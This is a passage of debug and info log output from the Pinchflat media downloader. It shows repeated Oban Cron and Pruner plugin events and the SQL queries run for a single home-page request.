{"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:51:17.683 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:47.684 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.895 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:52:17.685 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:47.686 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.896 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:53:17.687 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:47.688 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.897 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:54:17.689 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:45.935 [info] GET / 22:54:45.935 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:54:45.936 [debug] QUERY OK source="settings" db=0.2ms idle=1246.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:54:45.936 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1246.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:54:45.936 [debug] QUERY OK source="sources" db=0.1ms idle=1247.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:54:45.946 [debug] QUERY OK source="media_items" db=9.9ms idle=1194.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:54:45.947 [debug] QUERY OK source="media_items" db=0.5ms idle=203.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:54:45.947 [debug] QUERY OK source="settings" db=0.1ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:54:45.948 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:54:45.948 [debug] QUERY OK source="settings" db=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:54:45.949 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:54:45.949 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:54:45.950 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:54:45.950 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 22:54:45.955 [debug] QUERY OK source="media_items" db=3.0ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:54:45.956 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:54:45.956 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 22:54:45.958 [info] Sent 200 in 22ms 22:54:47.690 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.898 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:55:17.691 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:47.692 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.899 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:56:17.693 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:47.694 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.900 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:57:17.695 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:47.696 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.901 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:58:17.697 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:47.698 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.902 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:59:17.699 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:47.700 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.903 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:17.701 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:47.702 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.904 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:17.703 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:47.704 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.906 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:17.705 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:47.706 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.906 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:17.707 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:47.708 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.907 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:17.709 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:47.710 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.908 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:17.711 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:47.713 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.910 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:17.714 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:47.716 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.910 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:17.717 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:47.718 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.911 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:08:17.719 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:47.720 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.912 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:09:17.721 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:47.722 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.913 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:10:17.724 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:47.726 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.914 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:11:17.727 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:47.728 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.915 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:12:17.729 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:47.730 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.916 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:13:17.731 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:47.732 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.917 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:14:17.733 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:47.735 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.918 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:15:17.737 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:47.738 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.919 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:16:17.739 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:47.740 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.920 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:17:17.742 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:47.743 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.921 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:18:17.745 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:47.746 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.922 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:19:17.747 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:47.748 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.923 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:20:17.749 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:47.750 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.924 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:21:17.751 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:47.752 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.925 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:22:17.753 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:47.754 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.926 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:23:17.755 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:47.756 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.927 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:24:17.757 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:47.758 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.928 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:25:17.759 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:47.760 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.929 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:26:17.761 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:47.762 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.930 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:27:17.763 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:47.764 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.931 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:28:17.765 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:47.766 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.932 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:29:17.767 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:47.769 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.933 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:17.770 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:47.772 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.934 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:17.774 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:47.775 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.935 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:17.776 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:47.777 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.936 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:17.778 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:47.779 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.938 [info] {"source":"oban","duration":437,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:17.780 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:47.782 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.938 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:17.783 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:47.784 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.939 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:17.785 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:47.786 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.940 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:17.787 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:47.788 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.941 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:17.789 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:47.790 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.942 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:17.791 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:47.793 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.943 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:17.794 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:47.795 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.944 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:17.797 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:47.799 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.946 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:17.800 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:47.802 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.946 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:17.803 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:47.804 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.947 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:17.805 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:47.806 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.948 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:17.807 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:47.809 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.949 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:17.810 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:47.811 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.950 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:17.812 [info] 